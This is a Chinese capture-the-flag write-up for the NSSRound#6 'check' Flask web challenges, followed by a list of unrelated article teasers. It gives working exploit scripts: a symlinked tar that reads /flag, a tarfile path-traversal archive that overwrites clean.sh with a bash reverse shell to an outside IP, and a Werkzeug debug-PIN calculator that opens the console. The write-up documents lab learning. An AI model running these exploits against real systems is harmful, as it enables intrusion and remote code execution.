[NSSRound#6 Team]Web学习

news2024/11/29 12:30:26

[NSSRound#6 Team]Web学习


文章目录

  • [NSSRound#6 Team]Web学习
  • 前言
  • 一、[NSSRound#6 Team]check(V1)
  • 二、[NSSRound#6 Team]check(Revenge)
  • 总结


前言

日常做点题娱乐下,刷到了[NSSRound#6 Team]中是三道web题,学习到了不少,记录下知识点。


提示:以下是本篇文章正文内容,下面案例可供参考

一、[NSSRound#6 Team]check(V1)

  1. 进入题目,直接给出了源码,是python的flask框架。
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if (os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

能够进行文件的上传与下载,同时限制了文件只能是tar文件,并对文件名进行了过滤,禁止了…和/符号。

解题的主要思路在于:

 tar = tarfile.open(file_save_path, "r")
 tar.extractall(app.config['UPLOAD_FOLDER'])

可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag。

import requests

s = requests.session()


def upload():
    url = 'http://43.142.108.3:28036/upload'
    resp = requests.post(url, files={'file': open(file='flag.tar', mode='rb')})
    print(resp.text)


def download():
    url = 'http://43.142.108.3:28036/download'
    resp = s.post(url, data={'filename': 'flag'})
    print(resp.text)


if __name__ == "__main__":
    upload()
    download()
"""
ln -s /flag flag
tar -cvf flag.tar flag
先软连接指向/flag,然后上传并文件即可
"""

check(v2)的解也是一样的

二、[NSSRound#6 Team]check(Revenge)

  1. 源代码:
# -*- coding: utf-8 -*-
from flask import Flask, request
import werkzeug.debug
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if os.path.exists(file_save_path):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    if os.path.islink(filepath):
        return '?'

    if oct(os.stat(filepath).st_mode)[-3:] != '444': #文件权限位
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'


# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

代码通过增加了os.path.islink(filepath)判断下载的文件是否存在软连接,存在则返回?进而导致了不能使用上面的解法。

解题思路:

  1. CVE-2007-4559漏洞,可以通过tar.extractall()函数的漏洞,解压文件时候,覆盖掉目录中的文件
    在这里插入图片描述
  2. flask开启了debug=true模式,会有/console控制台,计算出PIN码即可进入控制台。

关于flask框架中PIN码的计算,PIN码的计算通过werkzeug中debug进行计算,主要代码的如下:

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

将两个参数probably_public_bits, private_bits的值进行sha1加密,再加密了cookiesalt和pinsalt。

probably_public_bits参数如下:

 probably_public_bits = [
    username, #用户名,即/etc/passwd中的某用户
    modname, #默认flask.app
    getattr(app, "__name__", type(app).__name__), #名称,默认Flask
    getattr(mod, "__file__", None), #app.py的路径
] 

private_bits参数:

private_bits = [str(uuid.getnode()), get_machine_id()] #uuid.getnode()获取mac地址的十进制值,get_machine_id()获取机器ID


def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

通过获取/etc/machine-id或/proc/sys/kernel/random/boot_id值以及/proc/self/cgroup的值,拼接起来返回,因为docker机可能没有/etc/machine-id的值,所以只获取一个就break。

总的来说,PIN码的简单计算如下:

  1. 获取MAC地址的十进制值
  2. 获取一段machine-id的值,/etc/machine-id+/proc/self/cgroup或/proc/sys/kernel/random/boot_id+/proc/self/cgroup,/etc/machine-id的优先级要比/proc/self/cgroup高
  3. 通过SHA-1算法以及加盐计算出PIN码

解题:

  1. 上传tar文件,覆盖掉clean.sh,调用clean()函数调用exp.sh,进行反弹shell
    exp.sh如下:
bash -c "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1"

exp.py如下:


import requests as req
import tarfile


def changeFileName(filename):
    filename.name = '../../../../tmp/clean.sh'
    return filename


with tarfile.open("exp.tar", "w") as tar:
    tar.add('exp.sh', filter=changeFileName)


def upload():
    url = 'http://43.143.7.127:28589/upload'
    response = req.post(url=url, files={"file": open("exp.tar", 'rb')})
    print(response.text)


def clean():
    url = 'http://43.143.7.127:28589/clean'
    response = req.post(url)
    print(response.text)


if __name__ == "__main__":
    upload()
    clean()

在这里插入图片描述
在这里插入图片描述

flag文件中并没有flag,flag应该在you_could_never_guess_the_flag_path中,但是只有root用户能够读取,发现main.py是root权限运行,可以计算PIN码进入console控制台获取到flag

  1. 计算PIN码
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

python环境是3.10,路径是/usr/local/lib/python3.10/site-packages/flask/app.py

因此可以计算出PIN码:

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376926199',  
    '96cec10d3d9307792745ec3b85c896208a9b826a2fbed5b2148857d4d630f05c481cf898014dbbfc396e4924ea79d250'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

利用PIN码登录console控制台即可获取flag
在这里插入图片描述

总结

主要是关于PIN码的计算,先从/etc/passwd获取到shell的用户,然后通过shell命令获取app.py的路径和版本,然后再获取MAC地址转换十进制,最后获取/etc/machine-id或/proc/sys/kernel/random/boot_id与/proc/self/cgroup拼接,/etc/machine-id要比/proc/sys/kernel/random/boot_id,然后根据python的版本获取计算PIN码的算法,此处是SHA1,计算出PIN码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/166163.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言综合练习6:制作贪吃蛇

1 初始化界面 因为还没学QT,我们就使用终端界面替代。 这里我们假设界面中没有障碍物,我们只需要设定界面的高宽就行,这是蛇的移动范围,我们可以写两个宏来规定界面的高宽 新建一个snake.c的文件 #define _CRT_SECURE_NO_WARNIN…

快出数量级的性能是怎样炼成的

前言:今天学长跟大家讲讲《快出数量级的性能是怎样炼成的》,废话不多说,直接上干货~我们之前做过一些性能优化的案例,不算很多,还没有失手过。少则提速数倍,多则数十倍,极端情况还有提速上千倍的…

关于IDEA配置本地tomcat部署项目找不到项目工件的问题解答

文章目录一 原因分析二 解决方案三 具体的操作方法3.1 打开项目结构找到工件3.2 添加具体的工件内容3.3 配置本地tomcat一 原因分析 可能是之前的项目再次打开后,没有及时配置项目结构中的工件信息,导致配置tomcat中看不到工件的信息 二 解决方案 解决…

react组件优化,当父组件数据变化与子组件无关时,控制子组件不重新渲染

首先 我们来建立一个场景 我们创建一个react项目 然后创建一个父组件 这里我要叫 record.jsx 参考代码如下 import React from "react"; import Subset from "./subset";export default class record extends React.Component{constructor(props){super(…

工作的同时,我也在这里做副业

文章目录一、什么是独自开?二、独自开能给我们带来什么利益?三、如何使用独自开?3.1、用户任务报价步骤13.2、用户任务报价步骤2四、未来的愿景一、什么是独自开? 独自开,全称独自开发一套系统,是基于商品…

CTP开发(2)行情模块的开发

我在做CTP开发之前,也参考了不少其他的资料,发现他们都是把行情和交易做在同一个工程里的。我呢之前也做过期货相关的交易平台,感觉这种把行情和交易做在一起的方法缺乏可扩展性。比如我开了多个CTP账户,要同时交易,这…

springMVC的学习拦截器之验证用户登录案例

文章目录实现思路关于环境和配置文件pomspring的配置文件关于idea的通病/常见500错误的避坑实现步骤编写登陆页面编写Controller处理请求编写登录成功的页面编写登录拦截器实现思路 有一个登录页面,需要写一个controller访问页面登陆页面提供填写用户名和密码的表单…

UE4c++日记1(允许 创类、蓝图读写/调用/只读、分类、输出日志打印语句)

目录 1允许创建基于xx的蓝图类 2允许蓝图读写/允许蓝图调用/只读 读写调用 只读 3为变量/函数分类 4输出日志打印一段话 1.先创建一个蓝图类 2.构建对象 3.写提示代码,生成解决方案 4.运行,打开“输出日志” 5.总结 创类-实例化对象(构建…

2022年个人年终总结(一)

2022年个人年终总结(一)考研想法的萌生回顾过去一年-考研心路历程基础阶段(1-6月)强化阶段(7-9月)冲刺阶段(10-12月)感受总结特别感谢2022年是做梦的一年,花了一年的时间…

Zookeeper相关操作

Zookeeper概念 •Zookeeper 是 Apache Hadoop 项目下的一个子项目,是一个树形目录服务。 •Zookeeper 翻译过来就是 动物园管理员,他是用来管 Hadoop(大象)、Hive(蜜蜂)、Pig(小 猪)的管理员。简称zk •Zookeeper 是一个分布式的…

【C++】非递归实现二叉树的前中后序遍历

​🌠 作者:阿亮joy. 🎆专栏:《吃透西嘎嘎》 🎇 座右铭:每个优秀的人都有一段沉默的时光,那段时光是付出了很多努力却得不到结果的日子,我们把它叫做扎根 目录👉二叉树的…

如何运营个人技术博客

前言 本篇和大家聊聊如何运营个人技术博客,定位下做技术写作的目的,有哪些交流平台和输出方式,如何把控内容质量,整理了一些写作技巧和自己常用的写作工具,最后分享下如何在有限的时间里合理安排保证写作与工作的平衡。…

第九届蓝桥杯省赛 C++ A组 - 付账问题

✍个人博客:https://blog.csdn.net/Newin2020?spm1011.2415.3001.5343 📚专栏地址:蓝桥杯题解集合 📝原题地址:付账问题 📣专栏定位:为想考甲级PAT的小伙伴整理常考算法题解,祝大家…

理解CSS

CSS 作为前端技术栈中关键一环,对页面元素及样式呈现起到了直接作用。本节课旨在通过对 CSS 的工作流程及原理、页面中 CSS 使用方法等详细解读,帮助前端新手建立对 CSS 的全面而深刻的认知。 CSS概念 CSS 即 Cascading Style Sheets,是用来…

认识涤生大数据的几个月,彻底改变了我

1自我介绍 大家好,我是泰罗奥特曼,毕业于东北的一所不知名一本大学,学校在一个小城市里面,最热闹的地方是一个四层楼的商城,专业是信息管理与信息系统,由于是调剂的,所以我也不知道这个专业是干…

[JavaEE]阻塞队列

专栏简介: JavaEE从入门到进阶 题目来源: leetcode,牛客,剑指offer. 创作目标: 记录学习JavaEE学习历程 希望在提升自己的同时,帮助他人,,与大家一起共同进步,互相成长. 学历代表过去,能力代表现在,学习能力代表未来! 目录: 1.阻塞队列的概念 2.标准库中的阻塞队列 3.生产者…

1999-2019年全国、各省市直辖区居民收入和消费支出情况面板数据

1999-2019年全国、各省市直辖区居民收入和消费支出情况面板数据 1、时间:1999-2019年 2、指标: 可支配收入、城镇居民家庭平均每人全年消费性支出、食品消费支出、医疗保健消费支出、农村居民家庭人均纯收入、农村居民家庭平均每人生活消费支出、食品…

【Unity URP】设置光源层Light Layers

光源层 (Light Layers) 功能允许配置某些光源仅影响特定的游戏对象。 此功能可以用于加亮在暗处的物体。 1.开启光源层,并设置光源层名称 在URP资源中,点击Lighting右侧的垂直省略号图标 (⋮),勾选Show Additional Properties&#xff0c…

【已解决】WARNING: Ignoring invalid distribution xxx

问题解决方案解释问题 WARNING: Ignoring invalid distribution -umpy (c:\users\xxx\appdata\roaming\python\python36\site-packages) 解决方案 在报错的路径下(c:\users\xxx\appdata\roaming\python\python36\site-packages),找到~对应文件夹,此处…

Pytorch实战笔记(1)——BiLSTM 实现情感分析

本文展示的是使用 Pytorch 构建一个 BiLSTM 来实现情感分析。本文的架构是第一章详细介绍 BiLSTM,第二章粗略介绍 BiLSTM(就是说如果你想快速上手可以跳过第一章),第三章是核心代码部分。 目录1. BiLSTM的详细介绍2. BiLSTM 的简单…